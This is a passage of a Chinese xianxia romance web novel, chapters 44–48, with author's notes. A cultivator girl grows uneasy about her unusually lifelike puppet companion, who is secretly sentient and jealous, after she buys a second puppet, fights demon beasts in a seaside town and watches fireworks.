“奇怪了……”宁瑶醉眼朦胧地眨着眼,纤长的睫毛像蝶翼般颤动,“梦里,梦里你就是这样的……” 她歪着头,在晕眩的视线里努力聚焦看清他,温热的呼吸若有似无地拂过他的面颊。 迷蒙的目光从他深邃的眼,滑到高挺的鼻梁,最后落在微启的唇瓣上。 她不由自主地向前凑了凑,却又倏地在毫厘间停下。 宁瑶听到寂静中响起一道清晰的吞咽声,晕乎乎地以为是自己的动静。 她茫然抬眼,撞进一双压抑的,深邃的眼眸,眼底翻涌着压抑的暗潮,仿佛下一秒就要掀起惊涛骇浪。 “怎样?”祁淮嗓音低哑得不像话。 扣在她后颈的指节微微发颤,指尖却故作从容地画着圈。 宁瑶痒的下意识后仰,却发现他的呼吸如影随形,头似在追逐她的动作。 她好奇地伸出手指,轻轻点在他的唇上,像发现了什么新奇玩具般,又揉又按地沿着唇线玩闹起来,笑道:“就像刚才那样……” 祁淮缓缓吐出一声压抑的喘息,险些顾不住一切翻涌的情绪,任由她的指尖在唇上作乱。 他的唇瓣刻意擦过指腹,温热的触感一路游走进筋络之中,“主人,现在可满意了?” 作者有话说:[彩虹屁]想写甜的生理期 第45章 “不太满意——”宁瑶笑着故意拖长了音调,娇嗔地轻摇了摇头。 她整个人软绵绵地陷在祁淮怀里,指尖似残留着触碰他唇角的酥麻感。 “痒的。”她为了压下那点痒意,将指尖抵在唇边轻咬了一下,醉意地闭上眼小憩。 瞧着她无意中小动作,他眸色渐次转深,主动将脸颊凑近,压低的声线里暗藏起一丝蛊惑:“主人还不满意的话,要怎样才够?” 醉意的人儿果然被带偏了思绪。 宁瑶抬眼望着这张近在咫尺的俊脸,鬼使神差地又像刚才那样凑过去。 这一次她的鼻尖几乎要贴上他的鼻尖,温热的呼吸交织成网。 祁淮垂在身侧的手猛地收紧。 他没料到宁瑶会再度靠近,匆忙调整呼吸,却还是泄露了一刹那的慌乱。 宁瑶醉眼朦胧地歪头,浆糊脑袋中灵光一闪,突然发现新大陆般眨了眨眼,“祁淮,你,是在紧张吗?” 祁淮轻吸一口气。 眼底小恶劣汇聚成暗色,眸底凝起病态的欢愉,仿佛下一刻暗潮就卷着两人没入欲念当中。 可他只是极轻地点头,尾音轻扬:“是紧张啊,主人。” 这回答完全出乎宁瑶的意料。 傀儡不是该矢口否认吗? 她迷糊地眨着眼睛,看着眼前这张令人心神失守的面容,染着薄红的眼尾,诱人的两颗小痣,都让她忍不住干咽了一口。 此刻才惊觉,他的呼吸早已笼罩下来,她只要再靠近分毫…… 然而,睡意席卷而来,唇瓣即将相触的瞬间,宁瑶眼皮上下打架,再也扛不住睡意眼睫轻颤着阖上,身子一软就要滑落。 祁淮迅速将人揽进怀里,收紧手臂。 酣睡的小猫被稳稳托住。 听着她均匀的呼吸声,指节不着痕迹地擦过她的唇角。 祁淮听着自己尚未平复的心跳,再看怀中已然睡去之人,无奈地低笑。指尖流连理好她散落的鬓发,“这就睡着了?” 宁瑶在睡梦中无意识嘟囔道:“反正是梦,梦里都是假的,错觉错觉,祁淮还是我的傀儡……” 祁淮听完忽地将人打横抱起,在屋里来回踱步。 旁边盘在床柱的黑蛇怪怪,赤瞳瞧着,只被他绕得头晕,默默用尾巴盖住了眼睛。 祁淮脚步依旧轻快稳健,抱得睡着的宁瑶,她更是毫无知觉。直到月色漫过窗棂,他才停步垂下眸。 怀中人睡得两颊绯红,唇瓣还无意识地微微张开。他幽深的眸光直落在她唇上,眼底暗色终是决堤,低头极轻地碰了碰那抹柔软。 银饰随着动作发出细碎轻响。 他小心地将人安置在床榻间,指尖掠过她散开的长发,“早知这样能解决,该抱着你多走几圈的还……” 未尽的话如羽毛轻挠,醒着人又是一晚难熬的夜…… * 长睫如蝶翼般轻颤,宁瑶从醉意中悠悠转醒。 晨光透过纱幔洒在她身上,映出身上几枚淡粉印记,她无意识地挠了挠手腕,不痛不痒。 正欲起身,一阵宿醉后的眩晕袭来,她忍不住扶额揉了揉太阳穴,带着点撒娇意味,软声嘟囔:“祁淮,我头疼……” “主人,请用解酒茶。” 一只骨节分明的手撩开纱幔,递来茶盏。 宁瑶接过时瞥见他腕间一道红印,忽觉眼熟得很。昨晚混沌的记忆如潮水涌来,她攥紧茶盏将温热的茶汤一饮而尽。 不是梦? 至少前半段不该是。 零碎画面在脑中翻涌,她竟把傀儡当成玩具又揉又捏,还嚷嚷着要看他穿深V露腹肌她贝齿轻咬下唇,绝望地闭了闭眼,身为主人的一世英名啊,喝酒后昨夜她如此放飞自我? 宁瑶偷偷拨开纱幔窥探。 少年安静立于床榻前,随着对视微歪头,发辫银饰轻响,与平日别无二致。 刚松口气,某种说不清道不明的躁意又攀上心头。 分明记得昨夜傀儡确实灵动,莫非是她醉意后分不清梦和现实? 宁瑶暴露本性后的慌张感,完全压下心头对祁淮异样的疑问。 逾矩的触碰,大胆的试探,都只是大梦一场?最要命的是,她居然还控诉他在梦中的那个吻…… 想到这种可能性,浑身因莫名的情绪战栗了一下。 “我昨夜,没做什么特别过分的事吧?”宁瑶揪着锦被小声试探。 祁淮无害浅笑,让她莫名瞧出几分微妙:“主人并无。” “即便有,也是傀儡的荣幸。” 宁瑶脸颊散去热意卷土重来,耳垂莫名发痒,她揉了揉,强作镇定地轻咳:“那就好。” 思及此,转念一想定是醉糊涂了,才会觉得傀儡有异样。幸好确认了祁淮并无梦中那般,一切只是错觉。 她自我安慰着抬眸,恰撞进少年深邃的眼底。 他正一眨不眨地凝望着她。 宁瑶心尖儿窘迫一慌,面上仍是强作镇定迎上他的目光:“怎么这样瞧我?” 祁淮眸色微闪,将她那点不自在尽收眼底。 见她仍是那副浑然未觉的模样,攥紧的指节缓缓松开,接过她递来的茶盏时,指尖若有似无擦过她掌心。 ——像只被顺了毛还绷着爪尖的猫儿。 小猫这般,说不清该是愉快,还是失落。 待他执起玉梳为她绾好青丝,宁瑶几乎起身就要往外冲。 她再多待一刻,只怕心底那一点窘迫都要溢出来了。 刚推开院门,一道清亮欢快的嗓音撞入耳中:“宁师妹——”正趴在门上的夜烁卿险些跌进她怀里,四目相对,他险险停住脚步,心跳骤然提速的好快。 他身后跟着一道亭亭而立的人影。 云冉冉提着食盒站在阶下,眉眼间藏着欲说还休的微妙。 宁瑶眼底掠过一丝了然,夜烁卿这般来见她她早已见怪不怪,可今日怎的连云冉冉也来了。 这才想起原著里这位可是重要男二。 宁瑶当即端起无可挑剔的浅笑,“你们怎么来的这么早?” “不早啦,再晚点只怕太阳该下山了。我看师妹昨夜贪杯,特来探望,总不好单独叨扰,便请了云师妹作伴。”夜烁卿说话时,目光直往院内飘去,又朝云冉冉递了个眼色。 被拉来的云冉冉淡淡一笑,瞟了宁瑶一眼神色复杂,又垂下头,递过食盒:“宁师姐尝尝新,这是我做的芙蓉糕。” 宁瑶接过食盒道了声谢,云冉冉对于洛子晟一事并未伤怀,此刻看向她的目光并无异样。 眼风里忽然掠过一深蓝色衣袍。 少年正漫不经心摆弄着花草枝叶,仿佛只是恰好途经此处的傀儡。 夜烁卿眼尾一扫,恰巧瞥见那道鬼魅般“不经意”掠过的傀儡身影。 两道视线在空中相碰,停留一瞬又错开,快得像是错觉。 “看来是我白担心了,昨夜有傀儡守着师妹,想必安稳得很。” 宁瑶弯起眉眼,语气轻快:“是呀,有祁淮在,有什么可担心的。” 夜烁卿指尖轻转玉笛,状若无意地问道:“你这傀儡瞧着不凡,莫非出自哪位隐世高人?” 这事宁瑶还真不清楚。 当初是丫鬟青栀在万言堂打听到,有位傀儡师专接高价定制的活儿,这才有了后来的祁淮。 “那便不知了。”她并未开口多说。 夜烁卿转头凑近,玉笛在掌心轻敲,眼底闪着狡黠的光:“听说青合宗临海的城镇上有家规模不小的傀儡铺子,既然你都养了一只,不如再去淘个伴儿?省得他寂寞。” “这主意妙。”宁瑶眼睛一亮,她还没见过别的傀儡呢。 三人脚步声渐远时,祁淮静静立在廊下,将每一字每一句都听得分明。 他眸色沉了沉,正要举步跟上,那抹鹅黄身影忽然回头,朝他挥了挥手:“祁淮,我出门啦。” 又一次,只能望着她的背影。 木门“咔哒”轻合,将他独自留在庭中。 青合宗山下的海港城镇热闹非凡,咸湿的海风裹挟着叫卖声扑面而来。 纵然宁瑶在羽安国皇城见惯繁华,此刻仍被这琳琅满目的商铺勾得左顾右盼,瞧着个新奇。 原本心事重重,慢半步的云冉冉被这鲜活景象感染,停在一处摊位前,执起一支桃花发簪比在鬓边。 “姑娘好眼光,这玉簪可是件防御法器,只要五块中品灵石加一块下品灵石。”摊主大娘热情地伸出五指。 “这么贵……”云冉冉失落地放下簪子,却忽觉发间一沉。 有人已将那支桃花簪轻轻簪入她发髻。她怔怔转头,一抹馨香掠过鼻尖。 站在她身侧的是宁瑶,而非夜师兄。 “一起结账。”宁瑶将沉甸甸的灵石袋递过去,顺手又拈起一支素雅的玉兰发钗。 转头对云冉冉眨眨眼,“送你了,云师妹。” 云冉冉轻抚着发顶的发簪怔住。 天道宗内门弟子月例不过二十中品灵石,她方才犹豫,在宁瑶这里却…… “姑娘使不得,多的灵石您拿回去,咱们诚信经营,不贪这份利。”大娘眼看宁瑶转身离去了,忙将乾坤袋塞进了云冉冉手中。 云冉冉回过神,提着裙角追上前去:“宁师姐——”人潮喧嚷中,那抹鹅黄身影正兴致勃勃地摆弄着摊上的海螺风铃,清脆的铃声淹没了身后的呼唤。 粉孔雀凑近前来,桃花眼一弯:“哎哟,宁师妹今日出了风头。这串风铃,总该让师兄也表现表现吧?”夜烁卿说着便将坠着银蝶的海螺风铃拎起,铃身在她眼前轻转。 宁瑶瞧着那串漂亮的风铃着实欢喜,接在手里把玩。风铃和银饰一起叮铃作响,她忽地想起祁淮身上穿戴的银饰。 这风铃倒是和他挺配。 “不必了师兄,我自己拿下。”她眉眼一弯,取走两串,利落地付了钱。 三人信步至夜烁卿说的那家傀儡店。 三层楼阁气派非凡,店门前立着两具傀儡,动作滞涩地重复着迎客动作:“客官请进,注意台阶。客官请慢走。” 宁瑶扫过那两张呆板面孔,不由莞尔在心里点评:比起她屋里那会照顾人、会温柔浅笑、还会给她编发辫的祁淮,这些简直是没灵魂的大疙瘩。 一入店内,果然别有洞天。 从人形到异兽,皮相不同的,满足特殊癖好的毛绒兽耳傀儡人,各式傀儡琳琅满目,直叫人眼花缭乱。 “这傀儡竟要一百中品灵石?”云冉冉指着门边一个灰扑扑的傀儡惊讶,长相其貌不扬,太不起眼。 夜烁卿玉笛轻转,含笑将二人引向红木木梯:“做工越精细,价格便越高。二楼才是精品,三楼雅间可供我们细细品鉴。” 宁瑶的目光掠过二楼陈列的傀儡,脑中却浮现出祁淮负手而立的模样。 “挑个会说话的,能陪他说说话,解解闷。” 夜烁卿一听这理由,垂眸笑出声:“宁师妹,再宝贝也不过是个傀儡。” 宁瑶笑而不语。 她自然明白傀儡本是死物,可祁淮不一样。 这个念头掠过心头,她自己也怔了怔,慌忙将注意力投向眼前琳琅满目的傀儡,最终选定三具容貌最出众的男性傀儡。 “还以为你特意要给那傀儡寻个伴,原来是打算”“既然是放在我眼前伺候的,自然要挑赏心悦目的。”宁瑶截住话头,将心底那点悸动轻轻压下。 掌柜闻讯赶来,热情推介起镇店之宝。 宁瑶打量着那具号称最精巧的傀儡,却见它眼神依旧空洞,皮相好看,却比起祁淮到底少了魂。 只觉得,竟有些说不出的微妙。 “瞧宁师妹的表情,这些傀儡比不上你家的那一位?”夜烁卿笑着凑近小声问道。 “自然了,比不上。” 作者有话说:感冒了[爆哭]人不太舒服而且今天才知道,我明明通篇用的中文逗号,jj上有些变成了英文逗号[问号]而且改不了[捂脸笑哭][捂脸笑哭] 第46章 宁瑶托着腮一笑,眼里掠过一丝不安,径直看向口若悬河的掌柜,“你这儿,难道就没有那种不仅会说话,甚至能自己思考的傀儡么?” 掌柜搓了搓手,言辞谨慎道:“不瞒您说,如今能做出这等灵智傀儡的宗师,世间仅存二位。小店暂时还请不动那样的人物,如今供货的师傅们,都做不出那般精妙的死物。” 宁瑶心下顿时了然,思考这话外之音,便是即便祁淮哪日真坏了,她想找个能复原的人都难如登天。 她目光一转,落在那尊“镇店之宝”上,名唤尤川的傀儡,倒生了一副清风朗月的好皮相,站着也算赏心悦目,宁瑶索性利落地付了钱。 临出门时,掌柜将她引到一旁,眼风扫过四周,压低嗓子道:“姑娘要寻的那种傀儡,实在是可遇不可求。不过,倘若日后真有这等机缘,小的定为您留意。” 宁瑶见他一副笃定她会再来的模样,不由轻笑道:“那便先谢过掌柜了。” 步入华灯初上的街市,夜烁卿闲闲转着玉笛,瞧她一副神游天外的模样,眼底闪过一丝意味不明的微光,凑近笑着打趣道:“怎么,买了新傀儡还不高兴?你的那傀儡,确实是世间少有,独一无二。” 宁瑶收敛微妙的心绪,扬起惯常明快的笑:“嗯。” 夜烁卿眸光微动,瞥了眼渐沉的天色:“听说今晚海边有烟花盛会,不如去凑个热闹?” 云冉冉连连点头,悄悄地扯了扯宁瑶的衣袖:“烟花好呀,宁师姐,我们一起去嘛。” 宁瑶左右一看,见两人皆是满眼期待,便将心头那点思绪一抛,展颜笑道:“好呀,再买些糕点零嘴,寻个绝佳的位置。” 三人正挤在糕点摊前精挑细选,大包小包的战利品全数丢给身后的傀儡抱着。 前方人群却骤然骚动起来,几声惶急的嘶喊破空而来:“妖兽,是妖兽闯进来了,快跑啊!” 原本熙攘的长街顿时乱作一团。 三人逆着人流望去,只见数只浑身湿漉、缠满还藻的妖兽正在四处冲撞,像是专朝着带孩童的路人扑去。 一时哭喊声噪杂。 眼见一只妖兽掀翻数人,下一瞬便要对上一对惊惶的母女,宁瑶腕间一抖,长鞭如灵蛇般窜出,死死缠上那妖兽的脖颈,硬生生将其掼倒在地。 三人联手刚解决掉这几只,暗处竟又蹿出十余道黑影,街面顿时更乱了。 一只妖兽趁机从侧面猛扑而出,直朝着修为最弱的云冉冉偷袭而去。 在一声短促的尖叫声内,宁瑶的鞭子已裹挟着赤红火焰破空而出。 妖兽被灼热气流逼退半步,周遭水灵气却骤然凝结成无数悬空水球,虎视眈眈地将众人围困。 “功。”宁瑶清叱一声,流火化作漫天火镖,精准刺穿翻涌的水球。 这些相当于练气九层的妖兽狡诈异常,懂得协同作战。 一道黑影趁乱扑向宁瑶后背,夜烁的笛音在远处急促响起:“宁瑶,后面!” 少女旋身时长鞭已缠上妖兽脖颈,烈焰灼得皮肉滋滋作响。 那妖兽竟忍痛张开血盆大口,獠牙距她咽喉仅剩三寸。 一只蓝蝶翩然掠过染血的獠牙。 宁瑶瞳孔泛起银芒,异风卷起时,深蓝色身影已掐着妖兽脖颈将之甩出丈远。 “主人,祁淮来迟了。”傀儡少年回首时,银饰轻响。 宁瑶紧绷的脊背倏然一松,她抹去溅到脸颊的血珠,莞尔一笑:“不迟。祁淮,杀了它们。” 弯刀出鞘时带着振翅的嗡鸣,杀意在他阴郁眸底绽开。 一时赶来的修士们纷纷参战,不出半个时辰,妖兽尽数伏诛。 宁瑶喘着气,余光打量他手上那柄沾血的弯刀,待他用袖角拭去血污,刀身寒光如水,映出祁淮精致的眉眼。 她还没见过这武器,祁淮这只傀儡,总是带给她意想不到的惊喜,完美地让人挑不出错。 “尤川,过来。”她转向始终静立角落的傀儡。 随着傀儡刻板地应声上前,祁淮指尖抚过刀锋微顿。 他注视着那张精致过分的傀儡面容,喉间溢出几不可闻的轻笑,攥了攥拳头,眸色沉得能拧出水来。 小猫竟真的重新弄了具傀儡回来,还是个有几分姿色的。可那点寻常颜色不过是庸脂俗粉,怎配入她的眼。 “往后就让它跟着你吧。”宁瑶笑吟吟地指了指那具新傀儡,“他叫尤川。” 祁淮漫不经心地瞥过那死物,心口泛起细密的酸,眸底流光微微一沉,忽地上前两步贴近宁瑶,“是,主人。” 他顿了顿:“只是主人有了新傀儡,该不会就此忘了祁淮吧?” 宁瑶没料到他竟会主动问出这样的话,那语气里真真切切的失落感让她心头一跳,她侧眸看向少年,依旧是那副神情,却让她心底掺进一丝不安。 她压下疑惑,唇角弯起弧度:“自然不会。” 夜烁卿抬手拭去额间薄汗,目光在二人间不着痕迹地一转,擦拭着玉笛,轻咳道:“这青合宗脚下怎会有妖兽踪迹?” 宁瑶果然被转移了注意:“瞧那妖兽的模样,像是在寻什么……” 见她这般敏锐,夜烁卿不由多看了她一眼。 “我们多加小心便是,烟花大典就要开始了。”夜烁卿朝她眨了眨眼,神色安抚。 经此一遭,宁瑶再没了闲逛的心思,视线在两具傀儡间打了个转,忽然生出些微妙的感触。 同样是傀儡,放在一处比较便高下立判。 愈发衬得祁淮更是漂亮得雌雄莫辨,难得可贵。 宁瑶尚未开口,祁淮已抢先接过尤川手中的物件,顺势不着痕迹地挡在尤川身前,唇边扬起恰到好处的温顺笑意:“主人可是累了?” “是有些。” 几人缓步踱至海边。 夜风裹着咸湿气息拂面,格外舒爽。 三人围坐在篝火旁,两具傀儡静立一侧。 不需吩咐,祁淮已自然地开始打理琐事,而尤川仍呆立原地,每个反应都慢了半拍。 宁瑶不由轻笑,却并未出声阻拦。 跃动的火光将祁淮低垂的侧脸勾勒得明明灭灭,拂过腰间的四角铃铛,在宁瑶看不见的角度,对着身旁的傀儡几不可察地勾了勾唇角。 ——蠢货。 暮色四合,海面上突然炸开一束流光。 短促的声响划破夜空。 夜烁卿指着天空,“快看。” 宁瑶循声抬头,正撞见万千星火泼洒而下,清亮的眼眸里绽开五彩斑斓的色彩。 “真好看啊。”她仰着脸惊叹。 所有人沉醉在天际绚烂,唯有祁淮不知何时静立在她半步之外,阴郁眸底唯有她一人。 他捂住了胸口,仿佛就能压下喧嚣的心跳。 宁瑶注意到他的目光,少年身上的银饰在明灭的光线里泛着冷色。 他微侧着头,视线没落在璀璨的烟花,喧嚣的人群,而是直勾勾地落在她身上,带着从未有过的专注。 宁瑶心底蓦然一跳,轻唤道:“祁淮。” 少年微歪头一笑,铃音轻响。 叮铃叮铃…… 她却只觉得此刻望向的祁淮,与那人间的寻常儿郎并无区别,分明也有她看不懂的情绪。 宁瑶慌忙别开视线,干咽一口唾沫,仰望天空,试图将莫名的情绪压下去。 夜烁卿原本含笑垂眸,目光轻巧地落在宁瑶身上。 见她从傀儡身上避开视线,不由挑眉,不经意地开口:“你这傀儡,当真与众不同。你瞧那新买的傀儡人,哪有像他这般护主心切?今日,怕不是偷偷从青合宗溜走来寻你。” 宁瑶扬首一笑,眼中看不出其他情绪:“我的傀儡,我自做好了安排。”话虽如此,她可心底疑云仍未散去。 作者有话说:身体仍然不舒服[爆哭]更少一点 第47章 祁淮立在不远处,两人对话听得一字不落,唇角无声地勾起一抹笑。 夜烁卿见宁瑶表面浑不在意,却还是认真解释的模样,心里莫名吃味。 他转着玉笛,眼风先扫过祁淮,又落回宁瑶脸上,半真半假地叹道:“我若是只傀儡,摊上你这么个主人倒也不赖。不仅给配个伴儿,还这般护短。” 宁瑶“噗嗤”笑出声,这一双亮眸比这烟花还亮眼,晃的夜烁卿心发慌,下意识移开视线。 她故作疑惑歪了歪头,挤眉弄眼促狭道:“没想到夜师兄还有这等癖好?若你非要喊我一声‘主人’,我倒也能勉为其难应下。” 夜烁卿握着玉笛大笑起来,肩膀随之轻颤,抬手用笛尾极轻地敲了下她的额心。 见宁瑶捂着额头佯装吃痛的模样,笑得更开怀,“宁师妹啊,这方天地,还没谁能驱使得动我夜烁卿。” “是是是,咱们夜师兄最是厉害。”宁瑶戏谑地挑眉,语气里满是揶揄。 夜烁卿闻言,腰板挺得更直,手中玉笛转着,好一副风流倜傥的花孔雀。那副自信满满的模样,瞧着既招摇又有趣。 宁瑶心知他所言不虚。 这位书中的男二号,家世背景比男主洛子晟还要硬气。 夜家是修仙界鼎鼎有名的世家,族中飞升的长辈已有三位,而他,是板上钉钉的下一任家主。 在天道宗内大家以师兄妹相称,放在外面,谁不得尊他一声“夜家少主”。 她笑了笑,将这个话题轻巧地带过,眸光不经意地掠过祁淮。 夜空中的烟花依旧绚烂盛大,宁瑶收了目光赶紧看向天空,一时看得出神。 直至最后一丝烟花的光亮湮灭于夜幕中。 “结束了。”云冉冉意犹未尽地咋舌,轻抚发间的桃花簪,指向海边灯火阑珊的集市,“师兄师姐,不然我们去那边逛逛吧。” “好。”宁瑶颔首。 三人行于前,两具傀儡则静默跟在后头。 祁淮瞧见宁瑶嘴角笑靥,以往这般鲜活神情,向来只他独享。 可原来在他不曾参与的过往里,她的世界曾经容纳了他,而今却更不止有他。 祁淮阴郁眸底凝聚暗色,指尖轻捏了四角铃铛,带着刻意暗藏的潮涌欲念,只余一双幽深眼眸在暗处描摹她的背影。 夜烁卿遥指了指一处灯火煌煌的摊位,“瞧那边,走,凑个热闹去。” 摊主正卖力吆喝:“小鱼花灯,会眨眼的锦鲤花灯咯!” 宁瑶俯身拎起一盏精巧的锦鲤灯,祁淮不知何时不动声色挤开云冉冉,护在她身侧。 目光掠过造型各异的花灯,最终落在她指尖那盏。 苗疆之地年年都有花灯游。 他不曾在意,只觉得无趣。 与蛊虫相伴的岁月里,窗外烟火从来与他无关。 可今夜随她穿行市井,纵使周遭喧闹碍眼,竟也品出几分格外的不同意味。 宁瑶弯唇一笑,指腹摩挲在小鱼花灯的眼尾,“这小鱼花灯我要买了。” “姑娘,这小鱼花灯不如换一盏吧。它眼尾滴了两滴墨汁这才摆在最外层,它是个瑕疵品。” “我不觉得是瑕疵品,倒是挺生动。” 花灯摊主见她付钱爽快,瞟见容貌不凡的姑娘一旁还跟着个漂亮少年郎,身高腿长,全程隔着半臂距离护着她,眼尾恰恰生了两颗小痣。 “这位公子眼尾生得妙啊,正与这花灯相映成趣。公子,还不帮姑娘提着花灯。” 宁瑶回眸浅笑挑眉示意,祁淮自然而然地接过花灯,指尖微颤。 意识到她连这般细微处都看在眼里,不由唇角上扬。 “送你了。”宁瑶低语道。 “主人送我?”祁淮怔了怔,不由侧身凑近,面上仍是挂着挑不出错的无害浅笑,灯影在长睫投下细碎的光,显得更外纤长。 “嗯,谁叫我是你的主人,拿着吧。”宁瑶笑着。 这傀儡难得对花灯流露兴趣,她唇角含笑看着他,原来祁淮除了侍弄花草,也会为这些小玩意驻足。 此刻抛开傀儡与主人的身份,宁瑶有一瞬的恍惚,内心微妙的不安感也在灯影憧憧间驱散了不少。 祁淮提着灯柄,指腹反复摩挲花灯的两处墨点,仿佛这样能触到小猫残留的温度。 等众人慢悠悠逛完集市,回到青合宗时,月已挂上梢头。 宁瑶踏着月色回到住处,仔细梳洗后,换上了一袭素白寝衣。 她取出那枚在集市上相中的海螺风铃,递到祁淮面前。 祁淮接过时眼底掠过一丝新奇。 他轻轻晃动风铃,贝壳与银饰相击,霎时清音清脆,似有海风轻拂,带来一阵海音缭绕。 “可要收好了。” 祁淮带着一丝新奇把玩。 宁瑶的余光则悄然瞥向静立一旁的傀儡,尤川木然地看着一切,始终面无表情,没有片刻情绪起伏。 祁淮珍重地收起风铃,执起木梳细细为她梳理青丝,眸光藏着一丝狡黠,轻声开口:“主人,是否让尤川放在屋外守夜?” 宁瑶看向镜中之人摆手,“不必麻烦。”随意指向床榻边,“尤川你便站在那边。” “遵命。”尤川滞泄半秒应道,依言挪步,僵硬的步伐停顿在宁瑶指定的位置。 宁瑶眼尾余光瞥见祁淮的身影时,莫名喉间一紧,起身唰地拉下床幔,熟练地滚进锦被中蜷成一团。 心底那点说不清道不明的紧张,随着幔外动静悄然起伏。 一幔之隔,外围并无异动,依旧静得只剩自己的呼吸声。 果然是想多了。 宁瑶把被子卷得更紧些,咕蛹着挪到最里侧,终于安心合上眼。 定是最近操劳过度,祁淮靠的自己太近,才会连对着个傀儡都心神不宁。 今日换这新傀儡守在一旁,说不定那些起起伏伏的情绪便不会再来了。 祁淮是傀儡,便只是傀儡。 哪怕祁淮再像活人,也只是个傀儡罢了。 可纱帘垂落的刹那,祁淮眼底的笑意已骤然凝固。她所指地方,那处分明是他常立的位置。 祁淮盯紧这占据了他位置的傀儡,无声弯唇冷哼一声。 他指尖轻抬间,汹涌的灵力已将傀儡彻底禁锢,看着对方木讷的挣扎,他轻嗤着抽取走了灵力,傀儡也没了动力般陷入了沉睡状态。 他踏过昏睡的傀儡,他悄无声息来到床沿,指尖无意识摩挲腰间的四角铃铛。 听着帐中传来均匀呼吸。 小猫为何突然不许他守在床边了? * 夜色渐深,宁瑶睡得并不踏实。 没有光怪陆离的梦境,只在半梦半醒间,隐约感到一个微凉的怀抱将她拢住,那人还不安分地缠了上来。 她迷迷糊糊睁开眼,竟在梦中看清了一张俊美得过分的脸。他凑得极近,近得她能数清他每一根纤长的睫毛。 宁瑶下意识伸手想触碰他的眼尾,却被他一把扣住手腕。 一只手被他牢牢握在掌心,另一只手则被他牵引着环上他的腰。 祁淮幽深的眸子一眨不眨地锁着她,眼底翻涌着宁瑶看不懂的情绪。 在这般专注的注视下,她觉得自己仿佛下一秒就要被祁淮拆吃入腹,吃的干干净净。 祁淮心底欲念,将他理智都在灼烧。 “祁淮……”宁瑶本能地想后退,指尖不自觉地蜷了蜷,整个人却仍被他禁锢在怀中。 他的怀抱带着微凉,若是平日她看着这张容颜,在梦里的话她可以赖着不起,此刻却莫名僵住了身子。 “祁……”她惊得想要再次低唤,却见祁淮倏地逼近,面容在眼前放大,唇瓣相距不过半指。 “你不喜欢了?”他突然发问,指腹不轻不重地摩挲着她的手腕,仿佛在感受她脉搏下急促的跳动。 宁瑶困惑地蹙眉,摸不着头脑,带着几分鼻音:“哪有什么喜欢不喜欢的?” 她试着挣了挣,却是徒劳,索性作势要咬他。 谁知祁淮真将手腕递到她唇边,反倒第一次让宁瑶下不去嘴了。 温热的唇瓣只是擦过他的腕骨,祁淮眼中又多了些病态的欢愉。 宁瑶看着眼前的节骨分明的手腕,一手推开他的手,别扭着移开脸颊,心底泛起嘀咕:她怎么在梦里却有些莫名的心虚…… 可她哪能输了气势,宁瑶作势抬眸,佯装气鼓鼓地哼了一声。 迎来的,却是一颗脑袋不轻不重压在她的颈窝。 微凉的呼吸缠绕在脖颈。 宁瑶心悸微动,侧眸可看见苍白的脖颈,和他小辫上的银饰泛着微光。 他身形高大,这样拢抱过来,几乎将她整个裹进怀里。 这一阵陌生的异样感,从未与人这般有过的接触,宁瑶只觉得有些不自在,脑袋像被抽空了似的,一时竟不知该作何反应。 她轻咳两声,本能地伸手去推他沉甸甸的脑袋,强作镇定:“祁淮,快起来。” “不起。”祁淮拒绝了她。 宁瑶无奈地眨了眨眼,压下心头疑惑:“你这是怎么了?” 祁淮在她仍然会关切询问的瞬间,克制不住地用脸颊轻蹭过她的肌肤,微微蹙眉,带着几分难以言喻地小情绪。 她在问他怎么了? 小猫…… “主人,不再欢喜于我了,是不是?”他压下眸底阴沉的微光,语气反而透出几分别扭。 宁瑶顿时怔住,惊得睁大了眼睛。 梦里傀儡不仅举止大胆,怎么还问起这些奇奇怪怪的问题? 她张了张嘴,一时不知该作何回应。 这梦还真叫她接不上话来。 她干笑一声,一边试图从祁淮身边挪开,一边含糊应答:“我哪有不喜欢你。” 祁淮眸光一亮又一沉,将她搂得更紧,另一只手指向纱帐外,“主人,你再好好想想。” 宁瑶顺着他手指的方向看去,这才恍然,看着祁淮,莫名心虚地清了清嗓子,低声解释道:“你说这茬啊,总不能让你一直为我守夜,换尤川来也是一样。” “不一样。”祁淮忽地一笑,轻咬了咬后槽牙,字字从牙缝挤出去似的。 宁瑶无奈耸肩,故作理直气壮道:“哪有不一样?都是傀儡。况且我也想让你轻松些,这也有错?” “我乐意。”祁淮不满地倾身逼近,他眸中阴郁病态欲念险些压制不住,直至两人鼻尖相抵,呼吸交缠。 宁瑶心知是梦,仍是暗自腹诽:这傀儡怎么还闹起脾气来了。 莫非是现实中不直言,特地到梦里找她讨说法了?可哪有这般搂搂抱抱讨说法的道理? 即便是在梦里,宁瑶仍觉得脸颊正在后知后觉地发烫。 她移开目光,软声下来,别扭地提高音量:“那我改日给你换回来。” 作者有话说:不吃药只以为是小感冒,以往三天差不多就好了,没招了,乖乖吃药[裂开]都别学我[爆哭] 第48章 “择日不如撞日。”祁淮的指尖轻轻划过宁瑶的手背,带起一阵细密的痒,“就今天,好不好?” 宁瑶被他挠得忍不住一笑,脸颊热意上涌,哽着一口闷气悄然散了,抬手揪着他腰间的银饰腰链摇了摇,“行,我答应你就是了。” 祁淮忽地笑了,手臂的力道稍松,抬起头看着她,仍将她圈在可控的范围里。 宁瑶往床里侧挪了挪,祁淮便立即随之倾身靠近。 宁瑶疑惑地抬眼看他时,祁淮眸中掠过一丝的狡黠,眼底阴郁却并未散尽。 “主人,我想要的远不止这些。” “主人,我和尤川,终究是不一样的,对吗?” 这两话由他说出口,却在她脑海里反复回响,她不由得想起今日发生的种种。 祁淮身为傀儡灵动感超乎寻常,这股挥之不去的异样感不曾消失。 她喉头轻轻滚动,硬着头皮抬起脑袋,目光清亮,故作轻松道:“你与他确实不一样。你先来他后到,可都是为我效力的傀儡,不是吗?” 祁淮眼神一暗,借机又逼近几分,带着若有似无的撩拨,直勾勾地望进她的眼底,低声诱哄:“主人说的可是真心话?在你心里,我和他当真没有更多分别?” 宁瑶闻言垂下眼睫,搬出“物品夸夸论”,嘴角含笑说:“有区别,你比他灵动,仿佛真的有灵魂。” 祁淮不由失笑,并不满足地进一步欺身靠近,“祁淮对于主人特殊吗?” 眼前这向来温顺无害的傀儡,梦中露出这般执拗的神情,宁瑶顿时感到一阵匪夷所思。 嘴边的话再次犹豫地咽了回去。 梦而已,她本不该在乎真假对错。 说错了说对了,说出真心话,梦中的他都不会在意。 宁瑶心悸微动,垂眸沉吟片刻,这才抬起妍丽亮眸,轻声道:“是不一样,在我心目中,祁淮是最特别的傀儡。” 四目相对,呼吸不知何时交织在一起,鼻尖被他轻触。 